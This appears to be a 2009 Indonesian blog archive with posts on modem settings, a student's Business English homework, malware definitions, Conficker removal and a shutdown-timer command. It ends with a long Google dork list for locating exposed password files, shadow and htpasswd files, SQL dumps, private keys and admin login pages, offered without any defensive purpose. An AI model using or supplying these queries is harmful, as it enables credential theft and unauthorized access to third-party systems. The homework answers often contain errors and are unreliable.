Buka Control Panel
1. Phone n Modem Options
2. Pilih modem yang dipakai, Bluetooth modem atau usb modem
3. Properties
4. Klik Advanced
5. Isi Extra Command :
untuk :
XL : at+cgdcont=1,”IP”,”www.xlgprs.net”
Telkomsel Flash Time Based : at+cgdcont=1,”IP”,”flash”
Telkomsel Volume / Flash Unlimited : at+cgdcont=1,”IP”,”internet”
Telkomsel Volume / Flash Unlimited : at+cgdcont=1,”IP”,”telkomsel”
Indosat : at+cgdcont=1,”IP”,”indosatgprs”
Indosat 3G Unlimited : at+cgdcont=1,”IP”,”indosat3g”
Indosat Im2 Broom Unlimited : at+cgdcont=1,”IP”,”indosatm2″
Axis (NTS) : at+cgdcont=1,”IP”,”axis”
Three : at+cgdcont=1,”IP”,”3gprs”

tugas dari bu rita

2009-11-23T22:01:00.000-08:00

Name : Ganesha Parjuangan
NPM : 20106575
Class : 4KB04

Business English
( taken from MAKET LEADER)

UNIT 1
BRANDS

A. List some of your favourite brands. Then answer these questions.
. Responsibility: my favourite brands is ASUS, SONY, and NOKIA
1. Are they International or national brands?
The answer: Yes they are. They are International Brands
2. What image and qualities does each one have? Use the following words and phrases to help you.

The answer: I am more interested in quality than price. naturally if the price because of the quality of a good reply.
3. Why do people buy brands?
The answer: because these brands have a very good quality and always a mainstay for the consumer. and always be a trend for competitors other brands.
4. Why do you think some people dislikes brands?
The answer: because for some people to think that brand is not a patoan to determine whether the goods are high or low quality.
5. How loyal are you to the brands you have chosen?
For example, when you buy jean, do you always buy Levi’s
The answer: yes I always buy goods from brands that I believe. like for example I always buy computer compenen with the ASUS brand. because the power of brand komputer with very good, strong and durable. Another example, I always buy NOKIA mobile phone brand, because the model is shown very interesting to me and comfortable.

B. A recent survey named the brands below as the world’s top ten. Which do you think is number one? Rank the others in order.

The answer:
1. Generel Electric
2. Microsoft
3. Coca – cola
4. Marlboro
5. IBM
6. Mc Donald’s
7. Nokia
8. Disney
9. Intel
10. Mercedes
** From Rank of global Brands

Vocabulary
Brand Management
A. Match these word partnerships to their meanings.

B
R
A
N
D

PRODUCT
1. Loyalty [ J ] a. the name given to a product by the company that makes it.
2. Image [ C ] b. using an existing name on another type of product
3. stretching [ B ] c. the ideas and beliefs people have about a brand
4. awareness [ E ] d. the tendency to always buy a particular brand
5. name [ A ] e. how familiar people are with a brand
6. launch [ I ] f. the set of products made by a company
7. lifecycle [ D ] g. the use of a well-known person to advertise products
8. range [ F ] h. When products are used in films or TV programs
9. placement [ H ] i. The introduction of a product to the market
10. endorsement
[ G ] j. the length of time people continue to buy a product

B. Complete these sentences with word partnerships from exercise A

BRAND
1. the creation of Virgin Cola, Virgin Air, Virgin Rail and Virgin bride is an example of …brand streching……….
2. Consumers who always buy Levi’s when they need a new pair of jeans are showing ………… Brand awareness…
3. not enough people recognize our logo; we need to spent a lot more on raising ……………. Brand Image….

PRODUCT

1. David Beckham advertising Vodafone is an example of …product endorsement……
2. A … Product launch … consists of introduction, growth , maturity and decline.
3. the use of BMW cars and Nokia phones in James Bond films are examples of… Product placement ...

C. Make sentences of your own using the word partnerships in Exercise A.
The answer: brand name goods is usually a benchmark for consumers to determine the quality of goods they produce. many ideas for products resulting from the emergence of other brands that arise from the model produced by famous brands. many people who tend to purchase the desired goods from a particular brand because of the confidence of the quality offered by these brands. people usually remember the favorite brand because of the ease of use items and so many people who like and use the item.
Reading
Outsourcing Production

A. Why do some companies make luxury products abroad rather than at home?
The answer: because usually foreign products have better quality than domestic products. and almost all the customers around the world a principled way.
B. Read the article and answer these questions.
1. Which brands are mentioned? Do you know which country each is from?
The answer: Burberry (Italy), Coach (US), Prada (Italy), Gucci (Italy)
2. Which companies make all of their products in their own country?
3. The answer: Prada makes all of their products in their own country

Made in Europe
By Jo Johnson, Fred Kapner and Richard McGregor

Almost every fashion label outside the top super-luxury brands is either already manufacturing in Asia or thinking of it. Coach, the US leather goods maker, is a classis example. Over the past five years, it has lifted all its gross margins by manufacturing solely in low-cost markets. In March 2002 it closed its factory in Lares, Puerto Rico, its last company-owned plant, and outsources all its products.
Burberry has many Asian licensing arrangements. In 2000 it decided to renew Sanyo’s Japanese licence for 20 ten years. This means that almost half of Burberry’s sales at retail value will continue to be produced under licence in Asia. At the same time however, Japanese consumers prefer the group’s European-made products.
Sanyo is now creating to this demand for a snob alternative to the Burberry products made in its factories across Asia by opening a flagship store in Tokyo’s Ginza, where it sells Burberry products imported from Europe.
In interviews with the FT, many executives says the top luxury brands will continue to be seen, particularly in Asia, as European. Domenico De Sole of Gucci says “ The Asian Consumer really dos believe – whether it’s true or not – that luxury comes from Europe and must be made there to be the best.’
Serge Weinberg, Chief Executive of Pinault Printemps Redoute, which controls Gucci, says it will not move Gucci’s production of shore. Yet some in the industry recognize that change may be round the corner even for the superluxury brands. Patrizio Bertelli, Chief Executive of Prada, says:’ The “Made in Italy” label is important but what we are really offering is a style, and style is an expression of culture.’ He therefore recognizes that quality fashion items may not always need to be produced in italy.
Amitava Chattopadhyay, professor of marketing at Insead, the business school, says:’ A brand is a set of associations in the mind of the consumer and one of these is the country of origin. . For luxury goods, the role of the brand is crucial. To damage it is a cardinal sin and no brand manager will want to get the balance between manufacturing location and the brand image wrong’.

From the Financial Times

FINANCIAL TIMES
World Business Newspaper

C Which of these statements are true? Correct the false ones.

1. Coach has no longer factory in Puerto Rico. (true)
2. Coach, like many other companies, is outsourcing its product to reduce costs. (true)
3. Some Japanese people choose to buy Burberry products made in Europe rather than in Japan. (true)
4. Sanyo’s store in Tokyo sells Burberry’s product made in Asia. (false)
5. According to Domenico De Solle, the best luxury products are made in Japan. (false)
6. Gucci is planning to outsource some of its products. (false)
7. Partizio Bertelli believes that luxury fashion products should always be made in Europe (false)
8. Amitava chattopadhyay says that companies need to pay careful attention to where they manufacture their products. (true)

C. Choose the best summary of the article.

a. Most manufacturers of luxury brands do not wish to produce their goods in low-cost countries because their believe that it will damage their brand image.
b. Most manufacturers of top brands now produce their goods in low cost countries. Consumers no longer care about where the products are manufactured.
c. Asian consumers think that European luxury goods are of high quality. The current trend of making such goods in Asia could damage the reputation of these luxury brands.

Language Review
Present simple and present continuous.

The Present simple and Present continuous have several uses.
• We use the present simple to give factual information, for example about company activities.
Coach outsources all its products.
Does Burberry outsource its products?
• We use the present simple to talk about routine activities or habits.
I always buy Armani suits. Do you usually buy designer brands?
• We use the present continuous to talk about ongoing situations and projects.
Sanyo is now reacting to this demand.
• We use present contiuous to talk about temporary situations.
We are testing a new brand at the moment.

A. Which of the time expressions below do we usually use with the present simple?
The answer: Always, as a rule, generally, normally, usually, often, never, regularly, sometimes, seldom, nowadays, when, frequently, every day, now and then, etc
Which of the time expressions do we usually use with the present continuous?
The answer: Now, today, right now, at present, tonight, tomorrow, this afternoon, soon, in a few days, this morning, etc
Which are used with both?
The answer: Usually [Simple present tense]
this year [Simple present continuous tense]
every day [Simple present tense]
now [Simple present continuous tense]
Often [Simple present tense]
Nowadays [Simple present tense and Simple present continuous tense]
once a month [Simple present tense]
Currently [Simple present continuous tense]
at the moment [Simple present continuous tense]
these days [Simple present continuous tense]

B. Complete these sentences with the present simple or the present continuous forms of the verbs in brackets.

1.a. This year we are trying (try) to develop a brand with personality.
b. We usually develop (develop) brands that say something.
2. a. Powerful brand names create (create) strong costumer loyalty.
b. At the moment we are looking (look) for a new brand name that suggests something about the product’s benefits and qualities.
3. a. L’Oreal sells (sell) cosmetics and toiletries to customers around the world.
b. This year L’Oreal is investing (invest) over 180£m in R & D.
4. a. The marketing department always keeps (keep) within its budget.
b. Because the company made a loss last year, the marketing department is trying (try to reduce costs.

C. Complete the text below with the present simple or present continuous forms of the verbs in brackets.

At the moment I am working for a cosmetics company. We offer a full range of cosmetic products and shell cosmetics and toiletries around the world. Our main cosmetics brand dominates the French market and it is doing well in the rest of Europe at the moment, too. In fact, the brand becomes more and more popular throughout the world and our market share grows everyday.
We usually develop and extend productsunder our existing brand name. The brand is distinctive and stands out from the competition. However, this year we are creating a completely new brand of cosmetics.

Discussion
Two Promotions

A.Work in pairs. Student A reads case 1 and answers the questions. Student B read Case 2 and answer the questions.

Case 1 : Harley Davidson.

In 2003 the Harley Davidson brand was 100 years old. Although its brand image is based on the spirit of wild and rebellious youth such as Marlon Brando in the film The Wild One (1954), the typical consumer is very different. They are likely to be rich, middle-aged accountants trying to recapture their youth. The average age of Harley Davidson customers is 46 compared with 36 for the rest of the motorbike industry. At the party to celebrate the centenary, the surprise performance was actually Elton John, rather than the Rolling Stones who many people had expected. This caused many of the 150,000 riders and dealers to leave the event very unhappy. Although sales and earnings for Harley Davidson have been increasing for the past 18 years, many people see the trouble on the road ahead. The problem is Harley Davidson’s typical customers from the baby –boom generation (1946 – 1964) and, as these customers get older, Harley Davidson may find its market shrinking.

1. What is the brand image of Harley Davidson?
The answer: Brand image is based on the spirit of wild and rebellious youth such as Marlon Brando in the film The Wild One (1954)
2. Why were many people unhappy about the music at the party?
the answer: Because, At the party to celebrate the centenary, the surprise performance was actually Elton John, rather than the Rolling Stones who many people had expected.
3. What problem could have Harley Davidson have in the future?
the answer: The problem is Harley Davidson’s typical customers from the baby –boom generation (1946 – 1964) and, as these customers get older
4. What can Harley Davidson fo to preserve it sales? Should it change its brand image? Should it look for a new market segments? Should it stretch its brand?
The answer: My opinion is Harley Davidson should look for a new market segment

Case 2 : JCB

JCB is a world-famous engineering company. It was founded in 1945 by Joseph Cyril Bamford. He began his business working alone in a small garage. JCB makes construction and agricultural equipment such as tractors, earth-moving vehicles, and loading machines. Now its world headquarters in England is one of the finest engineering factories in Europe. The company produces over 130 different models on four different continents and sells a full range of equipment in over 150 countries. It is truly a global brand.
JCB’s research showed that its customers associated with the company with the following brand values :’yellow,’digger’, and ‘durable’. Adult saw the brand and being functional. Children, on the other hand, saw the brand as ‘big’, ‘muddy’ and ‘fun’. JCB made a decision to stretch its brand.

1. Where does the name JCB come from?
The answer: JCB come from the name of Joseph Cyril Bamford. He is founded a world-famous engineering company(JCB)
2. What was surprising about JCB’s customer research?
The answer: JCB’s research showed that its customers associated with the company with the following brand values :’yellow,’digger’, and ‘durable’
3. What sort of products do you think JCB developed as a result of its research?
The answer: JCB makes construction and agricultural equipment such as tractors, earth-moving vehicles, and loading machines.
4. Can you think of a similar example of brand-stretching in your country?

Useful Language

Asking for opinions Agreeing Making suggestions
How do you feel about…..? That’s true I think we should….
What do you think? I agree How about… ?
What’s your opinion? Absolutely / exactly Why don’t we … ?
What’s your view? I think so too. Perhaps we could….

Giving opinions Disagreeing
I think……./ I don’t think ……… I see / know what you mean, but….
In my opinion……. I’m afraid I can’t agree
Maybe, but…

UNIT 2
TRAVEL

A. Answer these questions individually. Then compare your answers with a partner.

1. How often do you travel by air, road and sea?
The answer: often. every day off is always used to travel with family
2. What do you enjoy about traveling? What don’t you enjoy?
The answer: atmosphere beauty of the environment that I like. because I am very happy with their natural surroundings. but I really do not like it if in my neighborhood have a vacation that is not good air and too crowded.
3. Put the following in order of importance to you when you travel?

Comfort safety price reliability speed
The answer: Safety, reliability, price, comfort, speed
4. Does the order change for different types of travel?
The answer: No, it doesn’t

B. Choose the correct word from the box to complete the following list of things which irritate people when flying.

Seats trolleys queues luggage
Room cancellations food jet

1. Not enough leg room
2. lost or delayed luggage
3. long queues at check in
4. poor quality food and drink
5. no baggage trolleys available.
6. overbooking of seats
7. flight delays and cancellations
8. jet -lag

Vocabulary
British and American English

A. Match the words and phrases below which have the same meaning. For each pair decide which is British English and which is American English.

1. subway a. motorway
2. city centre b. lift
3. carry-on baggage c. public toilet
4. one way d. schedule
5. return e. economy class.
6. freeway f. single
7. rest room g. parking lot
8. elevator h. underground
9. coach class i. hand luggage
10. timetable j. round trip
11. car park k. downtown.

B.Work in pairs. Use words or phrases in American English from exercise A to complete the text below.

My last overseas business trip was a nightmare from start to finish. First of all there was a delay on the way to the airport as there was an accident on the city centre When I got there I found the lower level of the airport Subway was flooded. Next my carry-on baggage was closed and there were no cabs at all. After long time trying to read the schedule and waiting for forty minutes, we finally got a bus Coach class and found the hotel, but the lift wasn’t working and our rooms were on the fifth floor.

Reading
Air Rage

A. Answer these questions before you read the article.
1. What was your worst experience when traveling by air?
The answer: Fortunately nothing
2. Why do some people get angry when they are traveling on a plane?
The answer: Maybe because of their panic

Road ragers in the sky
By Derek Brown

Airlines and their long-suffering customers are reporting a steep climb in air rage incidents. Some incidents are apparently caused by problems which are familiar to many regular travellers. One case reported from America stemmed from an interminable delay in takeoff, when passangers were cooped up in their aircraft on the tarmac or our hours, without food, drink or information. Mass unrest is less common the individual misbehaviour, as in the case of the convict who recently went crazy on a flight, attacked the crew and tried to open the door in mind flight.
The psychology of air rage is a new are o study, and there are almost as many explanations as examples. Most analysis of the phenomenon blame alcohol, but many people now think that the airlines are at fault. To cut costs, they are cramming ever more passangers into their aircraft, while reducing cabin crew, training, and quality of service, all o which increase passenger frustration. In addition, there are increasing concern in the US about another cost-cutting exercise, which could seriously harm passengers’ health: cabin ventilation.
I. Modern aircraft are equipped with sophisticated air conditioning devices – but running them at.optimum capacity burns up valuable aviation fuel. Many airlines routinely instruct their flight crews to run the systems on minimum settings. Champaignes for improved air quality claim that this can lead to irritability and disorientation.
In the US, the soaring number of passenger complaints across a wide range of issues is reflected in a number of new internet sites which criticize the airline and demand better service. One of the sites is demanding an air passengers’ Bill of Rights.
Cabin and flight crews, who are in the front line of the battle against disruptive and dangerous in-flight behaviour, have called for stiffer penalties against the offenders. Management have also called or legislation – while denying that its cost-cutting practices have contributed to the problem. But there are some signs, in the US at least, that the airlines are at last attempting to respond to customer dissatisfaction. Some major lines have announced concessions to the most frequent complaint for all, and are removing seats to make more room for their customers.

Exercise:
A.COMPLETE EACH DIALOGUE WITH THE CORRECT FROM OF GOING TO
OR WILL
1 A.I’m really sorry,I can’t take you to the station .Something has just come up
B.Oh,don’t worry,I will take a taxi

2 A.We’ve chosen a name four new low-cost airline
B.Really,What are you going to call it?

3 A.Have you decided how to increase the number of passengers?
B.Yes,we going to offer a family discount at weekends.

4 A.I can’t send an e-mail to the travel agent;my computer’s just crashe
B.Write down your details and I will fax them over for you.
5 A.How’s your daughter?
B.She’s fine.She going to learn to be a pilot for the flying doctor service next
Year!

B.USE THE PRESENT CONTINUOUS OR THE PRESENT SIMPLE TO COMPLETE
THE SENTENCES BELOW

1.His flight arrives at 9 o’clock tomorrow morning.
2.We stay at the Hilton Hotel for next month’s sales conference.
3.The next seminar is begins at 3 p.m
4.I am travelling by train from Paris to London next time.
5.The boat departs departs at midday so you have the whole morning to get ready.
6.The delegation from China see the Chairman the following Monday

C.WORK IN PAIRS.TAKE TURNS TO COMPLETE THE SENTENCES BELOW.USE
GOING TO,WILL,THE PRESENT CONTINUOUS OR THE PRESENT SIMPLE.

1. I’m sorry,I can’t attend the sales meeting tomorrow because I am going to celebrate my friends nuptials party that day.
2. The marketing department have decided on their travel plans for the next month they are going to launch their new products to some big cities in asia.
3. The trains are delayed because of bad weather,so the passengers decide to take a break and lunch in restaurant of near by that station.
4. Don’t worry if you can’t drive me to airport, I will ride bus DAMRI.
5. I’ve got the details of your flight to Turkey and I will keep it for you.
6. Oh,no!There’s been an accident and the traffic is very crowded.

trojan horse

2009-11-17T07:59:00.000-08:00

Trojan horse
Trojan horse adalah sebuah program aplikasi lunak yang berbahaya.Trojan horse di buat sengaja utk pengguna yg tdk diharapkan. Trojans bukan virus krn tidak menjawab, tetapi Trojan horse dpt merusak. Banyak org menggunakan istilah untuk merujuk bukan hanya untuk program berbahaya, sehingga membuat perbedaan antara Trojans dan virus.

Virus
Virus adalah program aplikasi/bagian dr kode yg menyebabkan system crash.Dan kode2 tsb adalah kode2 yang tdk diharapkan bagi system(negative event).Virus sering samar dlm permainannya seperti modus terselubung,penggandaan,pertahanan serta masih banyak lagi.

Spyware
Spyware adalah suatu program yg tdk diinginkan dng memanfaatkan komputer yg sudah terinfeksi komersial untuk mendapatkan info. Mereka tidak diminta memberikan pop-up iklan, mencuri informasi pribadi (termasuk informasi keuangan seperti nomor kartu kredit), memantau aktivitas browsing web untuk tujuan pemasaran, atau permintaan HTTP rute ke situs iklan.

Spam
Spam yang tidak diminta atau tidak diinginkan massal elektronik pesan. Ada email spam, spam instant messaging, spam Usenet newsgroup, mesin pencarian Web-spam, spam di blog, dan ponsel-pesan spam. Spam sah termasuk iklan, iklan menyesatkan, dan phishing pesan dirancang untuk mengelabui penerima ke atas memberikan informasi pribadi dan keuangan.

Phising
Phishing adalah bentuk kegiatan kriminal dng menggunakan teknik rekayasa sosial melalui email atau pesan instan. Phishers berusaha utk memperoleh fraudulently org lain dr informasi pribadi, seperti password dan kartu kredit, dengan masquerading dipercaya sbg org or usaha dlm sebuah komunikasi elektronik resmi.

Tips untuk Deteksi Virus dan Pencegahan
1.Jangan membuka file yang dilampirkan ke email yg tdk dikenal, mencurigakan atau sumber yg tak dpt dipercaya. kecuali tahu apa itu, meskipun nampaknya datang dari se-org teman atau se-org yg qta kenal. Beberapa virus dpt melipat sendiri and menyebar melalui email. Mengkonfirmasi bahwa qta benar2 kontak dikirim lampiran.
2.Hapus rantai email dan junk email. Jangan meneruskan atau membalas apapun kepada mereka. Jenis email yang dianggap spam yg tdk diinginkan, pesan yg membosankan yg menyumbat inbox dan jaringan.
3.Jangan men-download file apapun dari orang asing.Hati2 saat mendownload file dr Internet. Pastikan bahwa sumber yg sah dan bereputasi satu. Verifikasi bahwa AV program memeriksa file pada situs download.
4.Update AV scr teratur dari situs resmi nya.
5.Back up file scr teratur. Jika virus merusak file,setidaknya dpt menggantinya dng salinan data cadangan. Simpan salinan cadangan di lokasi yg terpisah dari pekerjaan file,sebaiknya tdk di komputer.
6.Update OS secara teratur.
7.Selalu matikan Autorun di komputer.
8.Gunakan scedule scan secara otomatis dan rutin berkala.
9.Perlu di ingat "Tidak ada yg 100% aman dari virus",Maka dr itu qta perlu ber-hati2 dan waspada.

perlindungan terhadap W32.Conficker

2009-11-17T07:57:00.000-08:00

Banyaknya email yg masuk membuat gw berinsiatif untuk menulis artikel ini.

W32.Downadup,Aka W32/Conficker.worm, aka Net-Worm.Win32.Kido memang virus yg cerdas.

W32/Conficker adalah keluarga worm network-propagating. Ada beberapa varian. Worm yang paling menarik adalah fitur yang menyebar ke komputer lain melalui kerentanan keamanan di Windows Server Service Kerentanan ini memungkinkan untuk download dari dirinya untuk remote komputer tanpa pengetahuan pengguna.

Dilaporkan hampir 9 juta kasus Conficker dan saat ini di Indonesia kasusnya membengkak dari hanya ribuan menjadi puluhan ribu kasus komputer yang terinfeksi Conficker sampai dengan pertengahan Januari 2009.

Jangankan komputer yang berada dalam jaringan, komputer standalone yang menggunakan koneksi internet dari provider tertentupun terancam oleh ulah Conficker, karena Conficker memiliki kemampuan untuk menyerang komputer lain dalam jaringan provider yang sama.

banyak laporan bahwa setiap kali pengguna komputer menghubungkan dirinya dengan internet, otomatis muncul pesan Generic Host Process Error yang merupakan gejala Conficker yang paling umum.

Nah, bagaimana ciri-ciri virus tersebut.

virus Conficker.DV memiliki file yang dikompres melalui UPX. File virus berukuran 162 kb. File virus yang masuk bertipe gambar (gif, jpeg, bmp, png). Sedangkan file yang aktif umumnya bertype 'dll' (dynamic link library).

Selanjutnya file virus yang berusaha masuk akan berada pada lokasi temporary internet. Jika file virus yang masuk berhasil dijalankan, virus akan mengkopi dirinya pada salah satu lokasi folder. File 'dll' inilah yang aktif dan mendompleng file svchost.exe (Windows Server Service) untuk melakukan penyebaran virus kembali.

"Virus juga akan mengcopy file '[%nama acak%].tmp' pada folder '%WINDOWS%\system32' [contohnya : 01.tmp atau 06.tmp]. Setelah menggunakan file tsb, kemudian virus mendelete file tsb.(sumber Vaksin.com)

Efek dari sang Virus.

Jika varian sebelumnya mematikan service 'Workstation, Server dan Windows Firewall/Internet Connection Sharing (ICS)'. Maka kali ini virus berusaha untuk mematikan dan mendisable beberapa service, yaitu wscsvc: Security Center, wuauserv: Automatic Updates, BITS : Background Intellegent Transfer Service, ERSvc: Error Reporting Service dan yang lainnya.

Virus mampu melakukan blok terhadap program aplikasi yang berjalan saat mengakses website yang mengandung string berikut: Ccert, sans, bit9, windowsupdate, wilderssecurity dan masih banyak lagi. Hal ini dilakukan tanpa melakukan perubahan pada host file yang ada. Dengan melakukan blok, dapat mencegah program anti-malware untuk melakukan update antivirus dan mencegah user saat mencoba akses ke situs keamanan.

Virus berusaha melakukan perubahan pada sistem Windows Vista/Server 2008 dengan menggunakan perintah: 'netsh interface tcp set global autotuning=disabled'. Dengan perintah ini, maka windows auto tuning akan didisable. Windows Auto-Tuning merupakan salah satu fitur dari Windows Vista dan Server 2008 yang berguna untuk meningkatkan performa ketika mencoba akses jaringan.

Virus berusaha mendownload dan mengeksekusi file (bmp, gif, jpeg, png) yang kemudian masuk pada temporary internet.

Virus akan memeriksa koneksi internet dan mendownload file dengan menyesuaikan tanggal setelah 1 Januari 2009. Untuk itu virus memeriksa pada beberapa situs berikut: baidu, google, yahoo, msn, hingga ask.com

Virus akan membuat rule firewall pada gateway jaringan lokal yang membuat serangan dari luar terkoneksi dan mendapatkan alamat external IP Address yang terinfeksi melalui berbagai macam port (1024 hingga 10000).

Virus akan membuat service dengan karakteristik tertentu agar dapat berjalan otomatis saat start-up windows serta membuat HTTP Server pada port yang acak

Virus membuat scheduled task untuk menjalankan file virus yang sudah dikopi dengan perintah: 'rundll32.exe .[%ekstensi acak%], [%acak]'

nah jika bagi anda yg mengalami hal ini coba lakukan langkah berikut :

1. Download windows Malicious Software Removal Tool di http://www.microsoft.com/security/malwareremove/default.mspx atau trojan remover di http://www.softpedia.com/get/Antivirus/Trojan-Remover.shtml

2. Download Windows update buat mempatch celah keamanan yg di exploitasi virus http://www.microsoft.com/downloads/details.aspx?familyid=0D5F9B6E-9265-44B9-A376-2067B73D6A03&displaylang=en

3. Putuskan kabel jaringan anda.

4.scanning dengan windows Malicious Software Removal Tool atau trojan remover pada komputer yg terinfeksi

5.setelah itu update windows dengan patch yg telah anda download tadi.

6. semoga permasalahan anda samapai disini..

timer buat pc

2009-11-17T07:50:00.000-08:00

Misalnya Anda ingin mematikan komputer pada 30 menit (1800 detik) mendatang, caranya:

1. Buka Command Prompt ([Start]>[Accessories]>[Command Prompt]) atau pergi ke [Start]>[Run].

2. Ketikkan tsshutdn 1800 /powerdown /delay:20, seperti terlihat pada Gambar 1. Lalu tekan [Enter].

3. Untuk membatalkan perintah ini, cukup dengan menekan [Control]+[C] secara bersamaan.

4. Setelah itu maka segera muncul jendela System Shutdown (Gambar 2). Terserah, mau Anda klik [OK] atau tidak, tetap saja waktu 30 menit dihitung sejak Anda menekan [Enter].

5. Setelah 30 menit terlewati, maka akan muncul jendela System Shutdown.

Sekarang juga terserah, mau mengklik [OK] atau tidak, tidak akan berpengaruh. Apalagi mungkin sekarang Anda sudah terlelap tidur, sepertinya lebih baik komputernya dibiarkan mati sendiri sajalah. Terhitung pada saat muncul jendela ini, 20 detik lagi komputer akan mati sendiri.

Sekarang, silakan Anda mencobanya. Dan jangan kaget apabila rekening listrik Anda tidak semahal bulan-bulan sebelumnya. Yang terakhir, saya ucapkan selamat tidur nyenyak.

paman gugel ku

2009-11-17T07:32:00.002-08:00

"Duclassified" -site:duware.com "DUware All Rights reserved"
"duclassmate" -site:duware.com
"Dudirectory" -site:duware.com
"dudownload" -site:duware.com
"Elite Forum Version *.*"
"Link Department"
"sets mode: +k"
"your password is" filetype:log
"DUpaypal" -site:duware.com
allinurl: admin mdb
auth_user_file.txt
config.php
eggdrop filetype:user user
enable password | secret "current configuration" -intext:the
etc (index.of)
ext:asa | ext:bak intext:uid intext:pwd -"uid..pwd" database | server | dsn
ext:inc "pwd=" "UID="
ext:ini eudora.ini
ext:ini Version=4.0.0.4 password
ext:passwd -intext:the -sample -example
ext:txt inurl:unattend.txt
ext:yml database inurl:config
filetype:bak createobject sa
filetype:bak inurl:"htaccess|passwd|shadow|htusers"
filetype:cfg mrtg "target
filetype:cfm "cfapplication name" password
filetype:conf oekakibbs
filetype:conf slapd.conf
filetype:config config intext:appSettings "User ID"
filetype:dat "password.dat"
filetype:dat inurl:Sites.dat
filetype:dat wand.dat
filetype:inc dbconn
filetype:inc intext:mysql_connect
filetype:inc mysql_connect OR mysql_pconnect
filetype:inf sysprep
filetype:ini inurl:"serv-u.ini"
filetype:ini inurl:flashFXP.ini
filetype:ini ServUDaemon
filetype:ini wcx_ftp
filetype:ini ws_ftp pwd
filetype:ldb admin
filetype:log "See `ipsec --copyright"
filetype:log inurl:"password.log"
filetype:mdb inurl:users.mdb
filetype:mdb wwforum
filetype:netrc password
filetype:pass pass intext:userid
filetype:pem intext:private
filetype:properties inurl:db intext:password
filetype:pwd service
filetype:pwl pwl
filetype:reg reg +intext:"defaultusername" +intext:"defaultpassword"
filetype:reg reg +intext:”WINVNC3”
filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS
filetype:sql "insert into" (pass|passwd|password)
filetype:sql ("values * MD5" | "values * password" | "values * encrypt")
filetype:sql +"IDENTIFIED BY" -cvs
filetype:sql password
filetype:url +inurl:"ftp://" +inurl:";@"
filetype:xls username password email
htpasswd
htpasswd / htgroup
htpasswd / htpasswd.bak
intext:"enable password 7"
intext:"enable secret 5 $"
intext:"EZGuestbook"
intext:"Web Wiz Journal"
intitle:"index of" intext:connect.inc
intitle:"index of" intext:globals.inc
intitle:"Index of" passwords modified
intitle:"Index of" sc_serv.conf sc_serv content
intitle:"phpinfo()" +"mysql.default_password" +"Zend Scripting Language Engine"
intitle:dupics inurl:(add.asp | default.asp | view.asp | voting.asp) -site:duware.com
intitle:index.of administrators.pwd
intitle:Index.of etc shadow
intitle:index.of intext:"secring.skr"|"secring.pgp"|"secring.bak"
intitle:rapidshare intext:login
inurl:"calendarscript/users.txt"
inurl:"editor/list.asp" | inurl:"database_editor.asp" | inurl:"login.asa" "are set"
inurl:"GRC.DAT" intext:"password"
inurl:"Sites.dat"+"PASS="
inurl:"slapd.conf" intext:"credentials" -manpage -"Manual Page" -man: -sample
inurl:"slapd.conf" intext:"rootpw" -manpage -"Manual Page" -man: -sample
inurl:"wvdial.conf" intext:"password"
inurl:/db/main.mdb
inurl:/wwwboard
inurl:/yabb/Members/Admin.dat
inurl:ccbill filetype:log
inurl:cgi-bin inurl:calendar.cfg
inurl:chap-secrets -cvs
inurl:config.php dbuname dbpass
inurl:filezilla.xml -cvs
inurl:lilo.conf filetype:conf password -tatercounter2000 -bootpwd -man
inurl:nuke filetype:sql
inurl:ospfd.conf intext:password -sample -test -tutorial -download
inurl:pap-secrets -cvs
inurl:pass.dat
inurl:perform filetype:ini
inurl:perform.ini filetype:ini
inurl:secring ext:skr | ext:pgp | ext:bak
inurl:server.cfg rcon password
inurl:ventrilo_srv.ini adminpassword
inurl:vtund.conf intext:pass -cvs
inurl:zebra.conf intext:password -sample -test -tutorial -download
LeapFTP intitle:"index.of./" sites.ini modified
master.passwd
mysql history files
NickServ registration passwords
passlist
passlist.txt (a better way)
passwd
passwd / etc (reliable)
people.lst
psyBNC config files
pwd.db
server-dbs "intitle:index of"
signin filetype:url
spwd.db / passwd
trillian.ini
wwwboard WebAdmin inurl:passwd.txt wwwboard|webadmin
[WFClient] Password= filetype:ica
intitle:"remote assessment" OpenAanval Console
intitle:opengroupware.org "resistance is obsolete" "Report Bugs" "Username" "password"
"bp blog admin" intitle:login | intitle:admin -site:johnny.ihackstuff.com
"Emergisoft web applications are a part of our"
"Establishing a secure Integrated Lights Out session with" OR intitle:"Data Frame - Browser not HTTP 1.1 compatible" OR intitle:"HP Integrated Lights-
"HostingAccelerator" intitle:"login" +"Username" -"news" -demo
"iCONECT 4.1 :: Login"
"IMail Server Web Messaging" intitle:login
"inspanel" intitle:"login" -"cannot" "Login ID" -site:inspediumsoft.com
"intitle:3300 Integrated Communications Platform" inurl:main.htm
"Login - Sun Cobalt RaQ"
"login prompt" inurl:GM.cgi
"Login to Usermin" inurl:20000
"Microsoft CRM : Unsupported Browser Version"
"OPENSRS Domain Management" inurl:manage.cgi
"pcANYWHERE EXPRESS Java Client"
"Please authenticate yourself to get access to the management interface"
"please log in"
"Please login with admin pass" -"leak" -sourceforge
"CuteNews" "2003..2005 CutePHP"
"DWMail" password intitle:dwmail
"Merak Mail Server Software" -.gov -.mil -.edu -site:merakmailserver.com
"Midmart Messageboard" "Administrator Login"
"Monster Top List" MTL numrange:200-
"UebiMiau" -site:sourceforge.net
"site info for" "Enter Admin Password"
"SquirrelMail version" "By the SquirrelMail Development Team"
"SysCP - login"
"This is a restricted Access Server" "Javascript Not Enabled!"|"Messenger Express" -edu -ac
"This section is for Administrators only. If you are an administrator then please"
"ttawlogin.cgi/?action="
"VHCS Pro ver" -demo
"VNC Desktop" inurl:5800
"Web-Based Management" "Please input password to login" -inurl:johnny.ihackstuff.com
"WebExplorer Server - Login" "Welcome to WebExplorer Server"
"WebSTAR Mail - Please Log In"
"You have requested access to a restricted area of our website. Please authenticate yourself to continue."
"You have requested to access the management functions" -.edu
(intitle:"Please login - Forums UBB.threads")|(inurl:login.php "ubb")
(intitle:"Please login – Forums WWWThreads")|(inurl:"wwwthreads/login.php")|(inurl:"wwwthreads/login.pl?Cat=")
(intitle:"rymo Login")|(intext:"Welcome to rymo") -family
(intitle:"WmSC e-Cart Administration")|(intitle:"WebMyStyle e-Cart Administration")
(inurl:"ars/cgi-bin/arweb?O=0" | inurl:arweb.jsp) -site:remedy.com -site:mil
4images Administration Control Panel
allintitle:"Welcome to the Cyclades"
allinurl:"exchange/logon.asp"
allinurl:wps/portal/ login
ASP.login_aspx "ASP.NET_SessionId"
CGI:IRC Login
ext:cgi intitle:"control panel" "enter your owner password to continue!"
ez Publish administration
